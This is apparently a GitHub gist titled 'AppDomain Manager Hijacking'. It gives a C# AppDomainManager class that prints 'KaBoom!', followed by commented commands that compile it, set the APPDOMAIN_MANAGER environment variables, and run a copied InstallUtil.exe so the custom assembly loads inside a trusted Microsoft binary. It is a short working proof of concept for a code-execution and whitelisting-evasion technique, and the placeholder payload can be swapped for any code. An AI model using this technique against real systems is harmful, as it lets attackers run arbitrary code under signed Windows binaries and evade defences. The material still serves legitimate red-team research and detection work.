Created
May 30, 2019 17:58
-
-
Save sasqwatch/3620575049c5c792347786307798d44b to your computer and use it in GitHub Desktop.
AppDomain Manager Hijacking
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.IO; | |
using System.Reflection; | |
using System.Runtime.Hosting; | |
public sealed class MyAppDomainManager : AppDomainManager | |
{ | |
public override void InitializeNewDomain(AppDomainSetup appDomainInfo) | |
{ | |
Console.WriteLine("KaBoom!"); | |
return; | |
} | |
} | |
/* | |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library MyAppDomainManager.cs | |
set APPDOMAIN_MANAGER_ASM=MyAppDomainManager, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null | |
set APPDOMAIN_MANAGER_TYPE=MyAppDomainManager | |
copy C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe | |
InstallUtil.exe | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment